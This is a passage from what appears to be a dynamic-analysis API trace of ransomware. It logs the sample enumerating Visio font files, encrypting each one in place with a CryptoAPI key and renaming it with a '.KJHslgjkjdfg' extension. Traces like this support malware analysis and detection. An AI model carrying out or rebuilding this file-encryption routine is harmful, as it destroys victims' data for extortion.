ftLastAccessTime.dwLowDateTime=0x8541dd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8541dd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0152.072] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x81afcd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0x4f2ea, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BIGFONT.SHX", cAlternateFileName="")) returned 1 [0152.073] GetProcessHeap () returned 0x2a0000 [0152.073] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x296) returned 0x2f32d0 [0152.073] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\BIGFONT.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\bigfont.shx"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0152.073] GetProcessHeap () returned 0x2a0000 [0152.073] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0152.073] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0152.073] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0152.073] WriteFile (in: hFile=0x118, lpBuffer=0x290f018*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f018*, lpNumberOfBytesWritten=0x290efe8*=0x6, lpOverlapped=0x0) returned 1 [0152.076] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0152.076] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0152.076] GetProcessHeap () returned 0x2a0000 [0152.076] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0152.076] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40) returned 1 [0152.076] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0152.076] WriteFile (in: hFile=0x118, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290efe8*=0x40, lpOverlapped=0x0) returned 1 [0152.076] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0152.076] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0152.076] WriteFile (in: hFile=0x118, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0152.077] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0152.077] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0152.077] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0152.077] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0152.077] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.077] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x4f2ea, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0x4f2ea, lpOverlapped=0x0) returned 1 [0152.083] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x4f2f0, dwBufLen=0x4f2f0 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x4f2f0) returned 1 [0152.086] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.086] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x4f2f0, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0x4f2f0, lpOverlapped=0x0) returned 1 [0152.087] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0152.088] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x4f3c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.088] SetEndOfFile (hFile=0x118) returned 1 [0152.091] GetProcessHeap () returned 0x2a0000 [0152.091] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0152.091] GetProcessHeap () returned 0x2a0000 [0152.091] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0152.091] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\BIGFONT.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\bigfont.shx"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\BIGFONT.SHX.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\bigfont.shx.kjhslgjkjdfg")) returned 1 [0152.092] CloseHandle (hObject=0x118) returned 1 [0152.093] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x81c076e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0xa261d, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="CHINESET.SHX", cAlternateFileName="")) returned 1 [0152.093] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\CHINESET.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\chineset.shx"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0152.093] GetProcessHeap () returned 0x2a0000 [0152.093] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0152.093] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0152.093] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0152.093] WriteFile (in: hFile=0x118, lpBuffer=0x290f018*, nNumberOfBytesToWrite=0x3, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f018*, lpNumberOfBytesWritten=0x290efe8*=0x3, lpOverlapped=0x0) returned 1 [0152.097] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0152.097] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0152.097] GetProcessHeap () returned 0x2a0000 [0152.097] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0152.097] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40) returned 1 [0152.097] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0152.097] WriteFile (in: hFile=0x118, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290efe8*=0x40, lpOverlapped=0x0) returned 1 [0152.097] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0152.097] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0152.097] WriteFile (in: hFile=0x118, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0152.097] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0152.098] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0152.098] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0152.098] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0152.098] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.098] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xa261d, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0xa261d, lpOverlapped=0x0) returned 1 [0152.110] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0xa2620, dwBufLen=0xa2620 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0xa2620) returned 1 [0152.118] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.118] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xa2620, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0xa2620, lpOverlapped=0x0) returned 1 [0152.120] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0152.120] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0xa26f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.120] SetEndOfFile (hFile=0x118) returned 1 [0152.124] GetProcessHeap () returned 0x2a0000 [0152.124] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0152.124] GetProcessHeap () returned 0x2a0000 [0152.124] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0152.124] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\CHINESET.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\chineset.shx"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\CHINESET.SHX.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\chineset.shx.kjhslgjkjdfg")) returned 1 [0152.126] CloseHandle (hObject=0x118) returned 1 [0152.126] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x81eb4fa0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0x6a9e6, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="EXTFONT.SHX", cAlternateFileName="")) returned 1 [0152.126] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\EXTFONT.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\extfont.shx"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0152.126] GetProcessHeap () returned 0x2a0000 [0152.126] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0152.126] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0152.126] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0152.127] WriteFile (in: hFile=0x118, lpBuffer=0x290f018*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f018*, lpNumberOfBytesWritten=0x290efe8*=0xa, lpOverlapped=0x0) returned 1 [0152.129] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0152.129] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0152.129] GetProcessHeap () returned 0x2a0000 [0152.129] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0152.129] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40) returned 1 [0152.130] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0152.130] WriteFile (in: hFile=0x118, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290efe8*=0x40, lpOverlapped=0x0) returned 1 [0152.130] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0152.130] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0152.130] WriteFile (in: hFile=0x118, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0152.130] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0152.130] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0152.130] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0152.130] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0152.130] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.130] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x6a9e6, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0x6a9e6, lpOverlapped=0x0) returned 1 [0152.137] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x6a9f0, dwBufLen=0x6a9f0 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x6a9f0) returned 1 [0152.142] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.142] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x6a9f0, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0x6a9f0, lpOverlapped=0x0) returned 1 [0152.143] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0152.143] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x6aac4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.144] SetEndOfFile (hFile=0x118) returned 1 [0152.147] GetProcessHeap () returned 0x2a0000 [0152.147] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0152.147] GetProcessHeap () returned 0x2a0000 [0152.147] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0152.148] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\EXTFONT.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\extfont.shx"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\EXTFONT.SHX.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\extfont.shx.kjhslgjkjdfg")) returned 1 [0152.149] CloseHandle (hObject=0x118) returned 1 [0152.149] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x8207e020, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0xdc6b9, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="GBCBIG.SHX", cAlternateFileName="")) returned 1 [0152.149] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\GBCBIG.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\gbcbig.shx"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0152.149] GetProcessHeap () returned 0x2a0000 [0152.149] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0152.149] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0152.149] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0152.150] WriteFile (in: hFile=0x118, lpBuffer=0x290f018*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f018*, lpNumberOfBytesWritten=0x290efe8*=0x7, lpOverlapped=0x0) returned 1 [0152.152] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0152.152] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0152.152] GetProcessHeap () returned 0x2a0000 [0152.152] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x30) returned 0x2c4b30 [0152.152] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c4b30*, pdwDataLen=0x290efd0*=0x30, dwBufLen=0x30 | out: pbData=0x2c4b30*, pdwDataLen=0x290efd0*=0x30) returned 1 [0152.152] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0152.152] WriteFile (in: hFile=0x118, lpBuffer=0x2c4b30*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c4b30*, lpNumberOfBytesWritten=0x290efe8*=0x30, lpOverlapped=0x0) returned 1 [0152.152] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0152.152] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0152.153] WriteFile (in: hFile=0x118, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0152.153] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0152.153] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0152.153] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0152.153] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0152.153] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.153] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xdc6b9, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0xdc6b9, lpOverlapped=0x0) returned 1 [0152.169] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0xdc6c0, dwBufLen=0xdc6c0 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0xdc6c0) returned 1 [0152.180] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.180] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xdc6c0, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0xdc6c0, lpOverlapped=0x0) returned 1 [0152.183] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0152.183] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0xdc784, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.183] SetEndOfFile (hFile=0x118) returned 1 [0152.187] GetProcessHeap () returned 0x2a0000 [0152.187] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c4b30 | out: hHeap=0x2a0000) returned 1 [0152.187] GetProcessHeap () returned 0x2a0000 [0152.187] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0152.187] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\GBCBIG.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\gbcbig.shx"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\GBCBIG.SHX.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\gbcbig.shx.kjhslgjkjdfg")) returned 1 [0152.189] CloseHandle (hObject=0x118) returned 1 [0152.189] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc2656900, ftCreationTime.dwHighDateTime=0x1c2706c, ftLastAccessTime.dwLowDateTime=0x820ca2e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc2656900, ftLastWriteTime.dwHighDateTime=0x1c2706c, nFileSizeHigh=0x0, nFileSizeLow=0x2b01, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="IC-TXT.SHX", cAlternateFileName="")) returned 1 [0152.189] CreateFileW 